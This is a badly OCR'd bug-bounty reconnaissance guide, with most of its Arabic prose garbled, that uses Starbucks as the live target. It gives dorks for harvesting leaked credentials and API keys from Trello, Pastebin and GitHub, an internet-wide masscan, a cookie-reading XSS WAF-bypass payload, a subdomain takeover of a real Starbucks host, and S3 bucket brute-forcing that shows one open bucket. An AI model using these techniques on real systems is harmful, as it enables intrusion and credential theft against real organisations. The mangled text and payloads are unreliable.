public Trello board (¢ dijsiacredentials &) GLSI il 1S L8


https://www.exploit-db.com/google-hacking-database
https://gbhackers.com/latest-google-dorks-list/
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o s Liely pMSU by Jlia

site:<Third Party Vendor> <Company Name>

Q Al [EMaps E News [Images &

site:trello.com starbucks

About 752 results (0.48 seconds)

Starbucks Coffee - Trello
https://trello.com > starbucks-coffee
Starbucks Coffee. Members. Guardeddynamicman (|
Kylie (kylie91) - NoobyGFX (noobygfx) - Ryan Gavin (i§

Starbucks - Trello

https://trello.com > starbucks

Updates. New location for the HR Button - V3 CAFE -
Realistic Cameras - NEWER CUPS - New Cups! CAFE|

Starbucks Project - Trello

https://trello.com » starbucks-project
Starbucks Project. Members. Alexa Battista (alexabd
Temperson (christemperson) - Michelle Bearheart ...

A tull list of third-party vendors can be found below credit goes to Prateek Tiwari:

Name

Codepad

Scribd

NPM

NPM

Dork

site:codepad.co “Company Name

site:scribd.com “Company Name”

site:npmyjs.com “Company Name”

site:npm.runkit.com “Company

Name”

Description
" Codepad is an online
compiler/interpreter. You can
sometimes find hard coded
credentials here.
Scribd is known for their
books and E-books but you can
sometimes find internal files
uploaded by employees that
contain passwords
Use this to find Node]S source
code used by a company
Use this to find Node]S source
code used by a company
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Libraries | sitedlibrariesio "Company Name”™ Libraries.io is a web service

[0 that lists software
development project
dependencies and alerts
developers to new versions of
the software libraries they are
using.

Coggle sitercoggle.it "Company Name” Coggle is used to create mind
maps. You might be able to
find internal flow charts which
contain credentials

Papaly site:papaly.com "Company Name” | This site is used to save
bookmarks and links. You can
sometimes fnd internal links,
documents, and credentials.

Trello site:trello.com "Company Name” Trello is a web based Kanban
board. This is often used to
find credentials and internal
links of organizations.

Prezi site:prezi.com “"Company Name” This site is used to make
presentations and can
sometimes contain internal
links and credentials.

|edeliver site:jsdelivr.net "Company Name" CDN for NPM and GitHub.

Codepen site:codepen.io "Company Name” Codepen is an online tool for
creating/testing front end
code. You can sometimes find
APl keys and other credentials
in here

Pastebin site:pastebin.com "Company Name” | Pastebin is a site where people
upload text documents
typically for sharing. You can
often find internal documents
and credentials in here.
Hackers also use this site to
share database leaks.

Repl siterreplit "Company Name" Replis an online compiler. You
can sometimes find hard coded
credentials in users scripts. 1
have personally used this to
compromise a few targets.

Gitter site:gitter.im "Company Name™ Gitter is an open source
messaging platform. You can
sometimes find private
messages contalning
credentials, internal links, and
other infa.

Bitbucket | site:bitbucketorg "Company Name" | Bithucket like GitHub s a place
to store source code. You can
often find hard coded
credentials and other
information in here.

Arlagsian gite:* arlasgian net "Coampany Thig dark ran he nged tn fAnd

Name" confluence , Jira, and other
products that can contaln
sensitive information

Gitlab Inurlgitlab *Company Name” Gitlab like GitHub is used to
store source code. You can
often find internal source code
and other sensitive
information here

 ss9>gacredentials 8lg Josxll & SUITeplit’ gliy ¢lygall assiinl 1S L8 sl
195 gl
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“ext:” dork.

site:starbucks.com ext:pdf

Q Al [Eimages [E News & Shopping [8Maps i More

About 1,600 results (0.27 seconds)

PISTARBUCKS DISTRIBUTOR GUIDELINES
https://www.starbucks.com » assets

These Starbucks Distributor Guidelines represent the minimum requirements t
the Starbucks. Evenings Program must comply with to ensure

"flyour special blend - Starbucks Coffee Company
https://globalassets.starbucks.com > assets

dizmoextintion ;e cxd élil Gag wili asls ud las
‘ext:" dork.

back up files, PDFs,databases, zip files, and anything else.

CHAPTER 8: FINGERPRINT PHASE

endpoints JI gassets JI 835 ¢lil e alSin LS GUlg o8yl eliy el Luals Lo sy
ole dlein U >gleisill cguini ¢lil s M8l o oy, g5 wilsxifingerprint 5 RV Iqre
alely eyl g JUlAssets

el @Tgtechnology stacks, version numbers, running services s calsls 8y0i »line il
gsendpoint Il Lle Loy SUI aal dyei clil § lgossiiusd j187 o

Domains Technology Stack

Assets

IPs Open Ports ——> Banner Grab
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JS e elil Jle 5ald (5955 pliza wildwordpress U Jili yasexploit aud ¢l ol inay
lgoasiwin eleliy el JUIWordPress application I

Jaxi 1185 éllilglogin services sl olVNC oIlRDP ¢ISSH Ufingerprint  Jazia cil Laul LaS
bruteforce attacks

& §9aii wil o)l (o dliSapfingerprint phase Il wdg (4 lauxio cdl SUTGIAN S Gioy
exploitation phasell

éleliy eyl 25 SUICIDR ranges pgiad (30 1uiS @loglon cimas il

¢l wdgll ésubdomains UDNS resolutions JI joIPs awby (jlaS

subdomain enumeration phase.l

elicliy aahinll TPs pgio cund 1185 el SU ppinaba] uigy bl Jgo

& dloin Ul aleasdlg aliygdl @guin§ el ol plixialPs )l aList Lilea 81 pAs b
ssendpoint |

passive alawi yu85 el ol gl dleln co)ldl jpxsi el Gayb emanually dlasi el ol 187 1
third parties alasinl co)lidl go clini Lo g9 iz

SHODAN

H 6o abiludly daaing Lagy el axaiy 6y dassll pgall @iliyell pxd Jagi ¢liX yuoa Jadl
pasind dxail @ edlac

e &g aae dllanag Gilsall glide g9d10 igsl (§ i

https://www.shodan.io/

Gub g ol aasiwi 185CIDR range  élleo o

net:<"CIDR,CIDR,CIDR">

I,CIDR range I $assets Jl ¢llyghiag

#% SHODAN

a Explore Downloads Reports Pricing Enterprise Access

% Exploits *% Maps

New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor

226 098.99.0.1

Starbucks Coffee Company HTTP, 00 OK

S United States ions

- (S |
ri, 18 Jan 2019 23:55:10 GMT
t-Length: 52613
lighttpd/1.4.39

United States 226
HTTPS s Error (2
@ SSL Certificate H
He 52 Starbucks Coffee Company ; ~ - -
ssued By
HTTPS (8443) 13
ol . B United States, Seattie Common Name: COMODO RSA c
” Prag
NTP 5 Organization Validation Secure Server
cA E
COMODO CA Limited G
Starbucks Coffee Company 226
Company
Microsoft IS httpd 13 iusonrlt;d SSTl;;Ior;lnn-
v1, TLSV1.1, TLSVA
ntpd 8

&nb oo el ail gl gdeall o 9l


https://www.shodan.io/
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org:<'Organization Name”>

’. SHODAN Qrg:s ~ Explore Downloads Reports Pricing Enterprise Access

*% Exploits *% Images % Share Search & Download Results Ll Create Report

New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor

9 98.99.0.1
Starbucks Coffee Company HTTP/1.1 200 OK
BN United States X-Frame-Options: deny

Cache-Control: no-store, no-cache, must-revalidate, post-check=9,
(S |

Content-Type: text/html

Accept-Ranges: bytes

Last-Modified: Fri, 18 Jan 2019 23:55:1@ GMT

Content-Length: 52613

Server: lighttpd/1.4.39

United States 1,572
Canada 393
Philippines 31
United Kingdom 15 403 Access denied (&'
Thailand 8 HTTP/1.9 403 Access denied
Starbucks Corp Server: tinyproxy/1.8.2
Content-Type: text/html
=5 United States Connection: close
HTTP 490
HTTPS 403
HTTP (8080) 346
DNS 314
Document Moved (&'
GPRS Tunneling Protocol 64 =
& SSL Certificate HTTP/1.1 301 Moved Permanently
Starbucks Coffee Company 0 i

alsdl aSddl § elelsy eylillassets lguxia Jgatwo queries |

¢ lew pRIICIDR range Jl Gilosine a$yidl o) wub

CIDR range JI gayb ge e Junivuna 1350 gGeloud glAWS Jl caloas sic ddlaiiucag
sl Sl (g Lgiag L 458 0955 Lanylg €4l G0 o Eni el o
Syl gluSSL certificate (e coull dassiwd y185 1519 ¢liiss g

G 4385 118y Glidlg @Syl qunl Lgsd 5980 ol P9 yaalISSL certificate g
ssl:i<"'ORGANIZATION NAME">

SHODAN *Starbucks Coffee Company Q ] Explore Downloads Reports Pricing Enterprise Access

“ % Share Search l & Download Results ‘ Lt Create Report

New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor

Invalid URL &'

@ SSL Certificate HTTP/1.@ 400 Bad Request
Akamai Technologies Issued By: Server: AkamaiGHost
Common Name: DigiCert SHA2 Secure Mime-Version: 1.9
m =5 Unted States Server CA Content-Type: text/htal
- Organization:  DigiCert Inc Content-Length: 207
v Issued To Expires: Tue, 12 Nov 2019 19:46:41 GMT
& Date: Tue, 12 Nov 2019 19:46:41 GMT
- Common Name:
stagoglobalassets.starbucks.com Camsexion;: <loe
United States 3469 Organization:  Starbucks Coffee
Netherlands 57 Company
EU 165 2
Supported SSL Versions
China 105
TLSv1, TLSV1.1, TLSv1.2
Singapore (]

Invalid URL (&

& SSL Certificate HTTP/1.@ 402 Bad Request

HTTPS M Akamal Tachnologies Issued By Server: AkamaiGHost

HTTPS (443) - Common Name:  Sectigo RSA Mime-Version: 1.8

Wi + 831 % = Netheriands Organization Validation Secure Server Content-Type: text/htal

cPanel + SSL 2 e Content-Length: 209

m 4 Ogectiation;  Sectigo Linhed Expires: Tue, 12 Nov 2019 19:14:15 GMT
e Date: Tue, 12 Nov 2019 19:14:15 GHT
- Common Name: *.dev.starbucks.com Comaction:. close

Akamai Technologles 3431 Organization:  Starbucks Coffes

Starbucks Coffes Company 383 Company

Wiorosoft Azure hld Supported SSL Versions

Amazon.com 103

TLSV1, TLSV1.1, TLSV1.2
Shanghai Data Solution Co. 17
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Jladdl Jle ciniazure (f171 gaws (§103 assets aud ol 148 Lid caplin @il Lo (63
exploitation phase Jl gliy el (& ylaS aleiia

)8 lgiclwdcloud provider JI le ddlAiusendpoint (SSSRE () 6y cuxi yasi Lisl o
takeover i
company's entire cloud network

a>l> gl Gl o el ol 381 gLidde LayoTP address JS e e yasi ail of I aslsall
8853 ool putiuie & Jlgila 158 Jazs el ol Juniaall g0 & @315 138 aid ol b

CENCYS

90 8358 Wlganl gl wlivags 8L 338 wlégl (;S1gCencys wby dlawy (lagads dlasy SUI Guss
9w (§ 839390 o Lidy 839>
https://censys.iofipva

Censys starbucks

i= Results @ Ma

Quick Filters IPv4 Hosts
For all fields, see Data Definitions Page: 1/504 Results: 12,580 Time: 166ms
Autonomous System: £ 98.99.248.120
2,770 AKAMAI-AS - Akamai STARBUCKS - Starbucks Coffee Company (62566) Chandler, Arizona, United States
Technologies, Inc. 443/https
1,401 AMAZON-02 - * starbucks.net
Amazon.com, Inc. 443.https.tls.chain.parsed.subject.organization: Starbucks Coffee Company
702 AMAZON-AES -
Amazon.com, Inc O 35.161.79.94 (ec2-35-161-79-94 us-west-2.compute. amazonaws.com)
696 DIGITALOCEAN-ASN -
AMAZON-02 - Amazon.com, Inc. (16509) Boardman, Oregon, United States
DigitalOcean, LLC 443/hy
520 AKAMAI-ASN1 pa
B More *.gamma-udp-orchestra-testmain.scpdev.net
443 .https.tis.chain.parsed.issuer.common_name: Starbucks SCPDEV.NET - USW2 -
Protocol:

O 34.211.74.57 (ec2-34-211-74-57.us-west-2.compute.amazonaws.com)
AMAZON-02 - Amazon.com, Inc. (16509) Boardman, Oregon, United States
443/https
*.gamma-ucp-rewards-na-pd.scpdev.net
443.https.tls.chain.parsed.issuer.common_name: Starbucks SCPDEV.NET - USW2 -

11.22K 80/http
11.16K 443/https
3,125 22/ssh
1,987 21/ftp

1,489 143/imaE

13> st ol uioS| § yatts ady o83

e Jods Jazihosts Jl eSmall range (lSuui 2 LalNmap Il ¢185le LS Lo 65
asls> qus! Lirag yslia lgil séicl @large range Jscan  Jaxi o ol (Slg
Masscan alal pASu y18] dhosts | ;o 1S s ol el gla

fnmap pisiuy ial

oS Jdy glhy oLidesingle target e


https://censys.io/ipv4
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s L o 6o b2l Jaxi i85 e
https://github.com/robertdavideraham/masscan

sudo masscan -p<Port Here> <CIDR Range Here> --exclude <Exclude IP> --
banners -ox <Out File Name>

alex@alex-PowerEdge-R710:~/tools/masscan/bin$ sudo masscan -p8@ @.9.0.8/0 —-exclude 255.255.255.255 --banners -oX scan.xml

Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2019-11-16 @2:55:23 GMT
-- forced options: -s$ -Pn -n —-randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 4294967295 hosts [1 port/host]

glide g3 ailagloall Job (e ansiad 1185 glidebanner grabbing Jl Jesa ¢lil by 15Ul

S il g el adyyb

web ui Jl il ()l 1185 glgrep assiiuwd (185

ATTTIRITIR *

security

AasScan Hor
IP Address Port Number State Protocc

Service e e
hacked by Exact match

1 4 records per page

Sea
P Banner/Title Port Service Protoco!
Title: +ADw-Nlitle+AD4-HACKED BY ANT / FETH+ANO BEY+ADw-DIV style+ADOAIg-DISPLAY

e ne+ACIAPgAS-xmp+AD4- | Finally, REAL educational kits . P
aie.235.2.38 Title: Hacked by CoLDHaCKeR , Hacked by Sens 80 tcp
4.104.179.234 Title ked by abuj balok | Just another WordPress site 80 tep
¥84178.86.50  Title: Hacked By Ploxify LOVE YOU AVENGE 80 tcp
#9.117.176.179  Title: H@CKED BY McMyMMs | BycRAzytuRKHacked By McMyMM: 80 tep
#992.199.68  Title: Hacked By Zalim 80 tep
°%.201.180.182  Title: hacked by HaxorsteinBC 80 tep
287096226  Title: Hacked By GIOwINg \x26#8211; FI R3 t another WordPress site 80 tep

WEB APPLICATION

iR palea Joloii G2 laldDomains gIPs le gginiy yus JSuin (98 aS il acliassets I
¢ sifingerprinting Jl al>ya (§ cilsls aygus dyei Liil o
the technology stack, programming languages used, firewalls used, and more


https://github.com/robertdavidgraham/masscan
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¢ Joid G ghl wlSadl 8l dungS 6o ol

99 lgbogi yad o GUI >glgifill Wguivia GuSixayllisource code JI i Lgil gayb e
Lelax jasiStore Il (¢ Ladslia agyS J>9> 9l yuSedynlé (4 ddlal

* O ¢ W©

CMs Programming Language
W WordPress phe PHP

Analytics Database

ad Google Analytics MySQL

Blog SEO

& WordPress P4 Yoast SEO 122

https://github.com/vincd/wappylyzer
URL I Lghiui ¢lil gayb e Jlinyidl Sle lgoasiws j185 cub

python3 main.py analyze -u <URL HERE>

alex@alex-PowerEdge-R710:~/tools/wappylyzer$ python3 main.py analyze -u https://starbucks.com
html => Google Tag Manager
html => Google Font API
headers => Akamai
headers => IIS
- version (None,)
cookies => Microsoft ASP.NET

19>90 ligSyURL |iflscan  Jaxigfor loop Jawi lgd=i cunySon il dagads Gayb e Saag
list SO

FIREWALL

1slio GLileWAF a8 Liar o) 181 JoX aiXXSS Payloads Jl jelist ayi 2939 1945 Lo J:8
block i

https://github.com/EnableSecurity/wafwoof

Command J|
Wafwoof <URL HERE>


https://github.com/vincd/wappylyzer
https://github.com/EnableSecurity/wafw00f
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alex@alex-PowerEdge-R710:~/tools/wafw0d0f$ wafwd@f https://starbucks.com

WAFWOOF - Web Application Firewall Detection Tool

Checking https://starbucks.com
The site https://starbucks.com is behind Kona Site Defender (Akamai) WAF.
Number of requests: 5

Lia 53 dagleall yogthe Kona Site Defender firewall assiiun gdgall 118wyl wil Lo 6
bybass it J gLidepayloads I le Jawi [R%

https://github.com/oxInfection/Awesome-W AF#known-bypasses

i dgynall ol eibas SUlbypasses Il gl Lo S83lia

Kona SiteDefender

* XSS Bypass by @h1_kenan

asd"on+<>+onpointerenter%3d"x%3dconfirm,x(cookie)

e HTML Injection by @sp1d3rs

%2522%253E%253CsvQ%2520height%3D%2522100%2522%2520w|

A o9 clill guusdl) oy i ol 8 JLaall e casda e 998yl e LialSsl Lisl (8ol

SECTION 3: EXPLOITATION PHASE
Subdomain takeover o Ulg 118 gayaudlle 030 e clalSar idgls

S ad Jbaxn dbluy S g lgdde 5945 5185 wil JUI clheill Jawl go 6o 8y2ill
@b pls aSyall gl @lyniadl ol 39>90 GinleaCNAME le jglimsubdomain aué ;9S Ll

AL P9)209
l  pSai wil 148 g LCNAME Jl asgiy Ul aSyinl) 2955 ¢lil alawi elile Ul el
wopsubdomain

Si84)s dic ¢l )18ICNAME DNS record ail iy yindyeia o

o> pralyl pusigan pagS pgia el 1S e S oyail) 5135 gl

‘subdomain takeover POC" cuuly wigingy le SUl calagauell agiog

e Jlois il o) Laale yg.32 poy JS LS posdall g5 6528l 158 Lissa pdlS Jai Luls Cubs
aaill ga 8yid) disma i)l
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soall il o el kgt g Joi 1187 oy Latlun 1> Jod saliny (63 eyl ablussy 3 §
POC lad Jasiy o9

Jl ol (Sacsingle DNS J o391 g aalsls yuou Lals ¢l Geubll eAdministrator JI jlaS
2 058l allas Sy

¢ Joidiy cuily 63 8yl cuxia sl

subdomains I gaList ¢llea 95, 232 Xgl

https://github.com/haccer/subjack

118 Galdos o> 6ol ansis

./subjack -w <Subdomain List> -o results.txt -ssl -c fingerprints.json

alex@alex-PowerEdge-R710:~/go/bin$ ./subjack -w crtsh_starbucks.com.txt -o results.txt -ssl -c fingerprints.json
[AZURE] trace-psdev.starbucks.com

trace- (4subdomain takeover Jax Sas lia @bl il le g3 6ygall o
psdev.starbucks.com

S al Jocl oy’ aud Lo Mod agal gl ey

CNAME ! ail Sle yolinn |y rogall Wguini Linls

dig <Domain Here>
dig trace-psdev.starbucks.com

alex@alex-PowerEdge-R710:~/go/bin$ dig trace-psdev.starbucks.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> trace-psdev.starbucks.com
;: global options: +cmd

;3 Got answer:
;i —>>HEADER<<- opcode: QUERY, statusl] NXDOMAIN,§id: 51145

;3 flags: ar rd ra; QUERY: 1, ANSWER:*IROTHO Y: 1, ADDITIONAL: 1

;3 OPT PSEUDOSECTION:
; EDNS: version: @, flags:; udp: 512
;7 QUESTION SECTION:

;trace-psdev.starbucks.com. IN A

;3 ANSWER SECTION:

trace-psdev.starbucks.com. 21556 IN CNAME s@0174atww2twsps.trafficmanager.net.

33 AUTHORITY SECTION:

trafficmanager.net. 1799 IN SOA tml.msft.net. hostmaster.trafficmanager.net. 2003080800 900 300 2419200 30

;3 Query time: 16 msec

;1 SERVER: 127.0.1.1#53(127.0.1.1)

;3 WHEN: Mon Nov 18 ©08:58:01 EST 2019
33 MSG SIZE rcvd: 159

soo174atww2twsps.trafficmanag Il le yoLiuCNAME record JI ol ¢l s3bliay ayg.011 0
axi jomia sl GUl g0 |y (pragall o)l LaSer.net

§ dlaansi 1118 o) Jansa Ul gl e

90 GUlg aldsle Gulill SUIsubdomain Jitakeover | Liyad Lisl isbo Ly élgyuo Loy Lgicl
: trace-psdev.starbucks.com

S0 1 s ain Jauusi 2y U1 GlSall (6 i Joill o il padyein cilaglen aguds 12y L
Gi2aCNAME I (3 2lg i
AZURE § Jawsiad 65 Livie LUl Il 6 gal
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= Microsoft Azure l

Home > Traffic Manager profiles > Create Traffic Manager profile

Create Traffic Manager pr...: O X

Name *
| s00174atww2twsps n
trafficmanager.net

Routing method

Performance v |

Subscription *

Free Trial g |

Resource group *

Select existing... ~ I

Create new

Resource group location * (O

| (US) Central US v |

Josia dil yalbg 39390 Mol Gragall gl b el Lo 65 6o dladl (@ cub

Jl o danlal )82l 53 agasll ole cubFalse positive lgawl axls 53 gl clgdl csl Lgiclin
Aio sjProviders I (o Sl @y (819 ellilgd Lo GJAZURE (uy yirog iz £9090

pyit9: AWS, GitHub, Tumblr

S g',lg}g_ki;»XIlist 84 ‘a)'x Leudog
https://github.com/EdOverflow/can-i-take-over-xyz

ofootprinting  Jawn wilg el Gigy aSyddll punl lguing X Xg Lilas Lgsistitles Jl Lia Saslia

Ul y9xXl gITitle JI Jag lisubdomain JI dio Jaeend SUI glSall 28 Wguiniag i lgicku
A Ng wlaa ls el yoh

pipd) cilsls L8N Saogithub I g dleliy 5oS,)l ol LialSil Lo s

GITHUB DORKS

ez aasiiug la @ygull (8lg gu a8 Gusi 9o gagoogle dorking yle il Lo 53
clely el 2l el yilay dil Gle acluy cilagleall o )3 ga disme tilogles

< gl J8 QL) cslo Joii a3 u Iy 5ol § B9 ia 18135 yuma dllihs 15S L Ll Ledg

filename: bash_history DOMAIN-NAME


https://github.com/EdOverflow/can-i-take-over-xyz
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| ﬂ\ename:.bash,histsr‘/ DOMAIN-NAME| ‘

Repositories 0 Code E Commits 0 Issues 0 Packages € Marketpl
,
Language Any =
Sort Best match P
13,443 code results
schitti/mydotfiles — .bash_history She

Last indexed on Jun 25, 2018

] .bash_history

iwabuchiken/raspberrypi_home-pi_20180624_180221 - .bash_history

Last indexed on Jun 26, 2018

[ .bash_history

freedreno-zz/touchpad-mkuimage — .bash_history

Last indexed on Jun 26, 2018

[ rd/root/.bash_history

github J) duwlus @bl lg2éyn Lo Lagls Gulil
aigsole Ll LUl dally Lsg

exposed passwords, tokens, and api keys, userna axl> 118 § alSygul Guyb (e 18y yg1ia

mes

I Janguage:python username |

Repositories (CEXY Code (/DD Commits EX) ssues EEL Packages € ME

Language Any B
Sort Best match ®

Showing 4,802,290 available code results @

app.secret_key = "gnwerl;gwlnekraSD:FLAIWE: JRKNE#5190u231: 15"

username = ""

£ "username"” in session:
username - session["username”]

if "admin" in session:

ei hexingren/SocialQueen - views.py Python

SEr.username

bject_or_404(Profile, username =
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secret key dic cuad Qiyuin 4> 48 1> 48 @)Lin 148 syl § wil Lo 65

https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt
Jall g5 @alSygs aagu Liar (60l

layidig bale pglanall 4985 (San ellini asls J8M5 elil Lle jgam el U alSyeall sy Jlay
Company GitHub )| gag dui juygud) >33 &lil uus2l &

&« C @ GitHub, Inc. [US] | hitps//github.com/facebook * O = ¥

Pull requests Issues Marketplace Explore

[ Repositories 159 People 184

Josdevelopers I cidlyi >gy clil L8y y185

Rg paic Wguiri >9yi ¢lil yusia Gira el quogithub page Jl laic alSyidl JS Gia ¢llb a3
R


https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt
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n Facebook

Repositories 159 & People 184 Projects 0

Ariel Mashraki

a8m

Aaron Abramov

aaronabramov

Aaron Draczynski

aarondraczynski

Adam Gross

adamgrossd2

Angel Gomez

AGS-

Ahmed Shehata

ahmed-shehata

Ahmed Soliman Farghal

Y Bl & -
FEse@i0EQ
7 3

AhmedSoliman

Slorand (& (pbbga Jgo

ol 3> a8 Jo bguiiig gy L8y 118

&lagai (San aiili axl> gl ol: URLS, api keys, usernames, passwords, vulnerabilities

MISCONFIGURED CLOUD STORAGE BUCKETS

s> yigilSeazure ggcloud gAWS sjcloud services I 148 i yise Jllg> (4o

e $ ledde agudi (udlaiiua lg>gygphysical servers s yidni cilS @l il

&3 wlaasll Jle lgai J615 Lgil oy @l il il (8lg

exposed cloud storage bucket 815 <lil a9 8y9g:ir0 Ul wly2ill ygil (3o Gidgls b
bucket 1l (& SUI Sle 1y slazeXly aalolall (3 (8 pasiaiy gsbuckets Jl cub
sensitive information Jaccess J Jogi jSea

AWS S3 BUCKET

Amazon Web Services (AWS) agcloud service provider JI ygiil ;0
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S3 BUCKET DORKS
google dorks aisiiwi y1875 clil & asl> o
site:.s3.amazonaws.com "Starbucks"

GO gle site:.s3.amazonaws.com "starbucks" !/

Q. Al [ 8 Maps & News [=) Images < Shopping : More Settings
About 19,100 results (0.56 seconds)

PRl Sustainable Palm Oil - Starbucks Coffee Company
wikirate.s3.amazonaws.com » files v

Starbucks goal is for all our products to be produced under the highest quality and ethical
standards. Because tropical forests are being cleared for palm oil ...

Starbucks world map - AWS
https://rstudio-pubs-static.s3.amazonaws.com > ...

Starbucks world map. Danish Khan. 2017-02-24. Reference. The Starbucks dataset is
downloaded from www.kaggle.com.

buckets Jl acliy alwXlbrute force a9 4l axlxllg
bl & wlsn gls 4 1e8ia il 9o 1y c9.0gall & aausgll dirsgll sl

S3 BUCKET BRUTE FORCE

cool endpoints wguiy Jléia adbdl asldl @ Guw

Lagac iRl ansia Gl
https://github.com/ghostlulzhacks/s3brute

python amazon-s3-enum.py -w BucketNames.txt -d <Domain Here>

awblasllendpoints Jllist 5 ¢lil jald glia il pgyaall wlaallEndpoint J cisgy el gl
sensitive files such as backup files, zip files, user data, lc yo1i1 §954 Pgyaall oy Lisl
and any other PII information

‘indexhtml” ga Uy juy 1519 blo axd 1s 800l § U1 JLsal

alex@alex-PowerEdge-R710: /storage/Desktop/tools/discovery/amazon-bucket$ python amazon-s3-enum.py -w BucketNames.txt —d starbucks.com
/usr/local/lib/python2.7/dist-packages/requests/__init__.py:91: RequestsDependencyWarning: urllib3 (1.25.2) or chardet (3.8.4) doesn't match a supported version
RequestsDependencyWarning)

Brute forcing s3 buckets......

This could take awhile.......

Access $3 Bucket

Access Denied http://a.starbucks.com.s3.amazonaws. com
Access Denied http://connect.starbucks.com.s3.amazonaws.com
Access Denied http://files.starbucks.com.s3.amazonaws.com
Access Denied http://me.starbucks.com,s3.amazonaws.com
Access Denied http://members.starbucks.com.s3.amazonaws.com
Access Denied http://splunk.starbucks.com.s3.amazonaws. com
Access Granted http://www.starbucks.com. s3.amazonaws. com

Done!
N—



https://github.com/ghostlulzhacks/s3brute
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< C () Not Secure | starbucks.com.s3.amazonaws.com

This XML file does not appear to have any style information associated witl

v <ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-
<Name>www.starbucks.com</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>

8-08-03T23:27:28.000Z</LastModified>
<ETag>"4e82e6d04739578d846b8633a5ee5491“</ETag>
<Size>420</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>

GOOGLE CLOUD STORAGE

Google Cloud Stora w.0,S3 Buckets JI 53 cilalall (=) glSeAmazon S3 buckets Lo &3

oleS gage
anonymous file listing J ulas
AWS aclyy eild U Joill g3buckets Jl clawXbrute force Jaziy gs alaXl

https://github.com/RhinoSecurityLabs/GCPBucketBrute
python3 gepbucketbrute.py -k <Domain Here> -u

alex@alex-PowerEdge-R710:~/tools/GCPBucketBrute$ python3 gcpbucketbrute.py -k starbucks.com -u

Generated 1216 bucket permutations.

Scanned 1216 potential buckets in 51 second(s).

Gracefully exiting!

Jl ol G8ia Lgiclugoogle cloud  Jasiug comyli cud) cil ) asls ¢l Gilissle Iy Jliall $ Lia
alé SUI gisensitive files ;e cxilg lgd 29y lgiclusvulnerable endpoint 835 Lo 4]
bl

DIGITAL OCEAN SPACES
Digital ocean spaces ¢lis3 Buckets Jl gg.090 clixe wil ¢!

: pedily glidegoogle dorks  assian Ldys Lia 8018
site:digitaloceanspaces.com <Domain Here>


https://github.com/RhinoSecurityLabs/GCPBucketBrute
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GO g|e site:digitaloceanspaces.com starbucks !, Q

Q Al (@ Maps ©E News ([ Images & Shopping i More Settings  Tools

About 325 results (0.66 seconds)

P°Fl Genting Highland Free & Easy
tz-sg.sgp1.digitaloceanspaces.com » document » company v

All other pick up points(Check in @ First World Hotel Lobby Starbucks 1200 hrs). 1630.
Balestier Plaza (Taxi Stand-near Maybank) OR Big Box Jurong East ...

PPABUTE MILLS

https://youthscape.ams3.cdn.digitaloceanspaces.com » documents » About »

station towards the town centre, passing Starbucks to your right, and you will see the Mill across
to your left. The main entrance is at the front of the building.

brute force Jl dilag) 63 Joull cyxi wby 1uSlg
https://github.com/appsecco/spaces-finder

AZURE BLOB

S3 sjAzure blob storage lgoisiuy laa 1SI @Microsoft cloud  asstiuny éleliy cylill o)
bl liSbuckets

¢ &JURLs Ubrute force Joxi clil plixa yiro cil liay un

the blob name JI .5y élliSgbucket name JI djle 18,5 03X il (X

olulbrute force 5 &lil call (o ggbgall Gl g

clawlenumerate J oLile Lo audgoogle dorks @luic (S1gURLs JI (o (i aud (X
dilaall

ELASTIC SEARCH DB

&)Elastic search &) ¢luieMySQL JI girelational database JI ;e 1iS 8 cumaw 1S el
MySQL

& wlagleall g3 glidle ansiwd ailily 8acld

oyuS lily 81cld § by agéuelastic search g

ELASTICSEARCH BASICS

semi-structured data gldocument-oriented Jl a)ls)lg gls)l g (3l pano
Je lgie ploiu @il 138 12)JSON  walo (¢ ailibul g3 wilElasticsearch assiwd (i Lol
lgm> i 185 oL

ol &y pasianpelastic search  Liay (819 Jolas (8 calagleall gysin UIMYSQL GuSe Sle
typesdl &


https://github.com/appsecco/spaces-finder
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documents 4 e siy GUlg 3 @gao audtype S
S s Jlall oy ealibedl Judny o SUlgjson blob (ye a)lie o dboliwy gsdocuments lg

{"id"1, "name":"ghostlulz", "password":"SuperSecureP@ssword"}

tield names aisiwy Lis|Elasticsearch (¢ Lalcolumn names JI assiiuniy LisIMYSQL (§
id, name, and password Jl & giLudljson blob JI  gin the above I
MySQL JI 4 Ll

alilul 81cld gTables Il (i agdiy
index lgaul asl> gdocuments JI jsi LisIElastic search ($
documentsl (0 degano (e 8)lic lsindex Il 148 80

Document

UNAUTHENTICATED ELASTICSEARCH DB

381 dAls o g9 SUI9200 ciygdl Sle Joiing y8ywhttp suicElastic search JI idgls cub
databasellquery i

S al 6 Lid syl alSuiall

00 £93 ¢l peupublic internet U 1y caygull Mia lgsasg gl 1y ciygll lgbyn Gulidl jasy
authenticationl ¢lgil

cilaglea 2ysian gdatabase Jlquery o ja8y 1> gl iz lag

S aygall $ Lo 6 ol axas Wguini dllsuashodan o by ey JAS 40
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'. SHODAN port:*9200" elastic Q @ Explore Downloads Reports Pricing Enterprise Access

W Share Search

& Download Results

% Exploits * Maps |l Create Report

New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor

19,094

(€
Microsoft Azure HTTP/1.1 200 OK
- s icati ; charset=UTF~
86 Canplsz Toroii 63-0 content-type: application/json; charset=UTF-8
- = [ content-length: 327
w 3 5 cloud 1 database

=

Elastic Indices:

Cluster Name elasticsearch job_application
invoices
Status yellow
China 6,509 bockings
invoice
United States 4,964
Number of Indices 22 edirsseibias
France 1,136
job_posts
Germany 1,015
service
Singapore 651
booking
user_service
job_post
Hangzhou Alibaba Advertisin... 3,350 users
Amazon.com 2,410 job_applications
Digital Ocean 1,089 company
Google Cloud 914 o
Tencent cloud computing 583

e dlil dggun H185 il 241009200 gl asie élebiy eyl ol Gle @yl wil Lo Jol g0
GET request Jroot directory JI xS ¢lil §yyb (cElasticsearch «ilily sacld 53 ¢

oy JSaidb g8uaResponse Jlg

{

"name" : "r2XXXX",

"cluster name": "elasticsearch”,
"cluster_uuid": "wIVyutV-XXXXXXXXXX",
"version": {

"number" : "5.6.1",

"build_hash": "667b497",

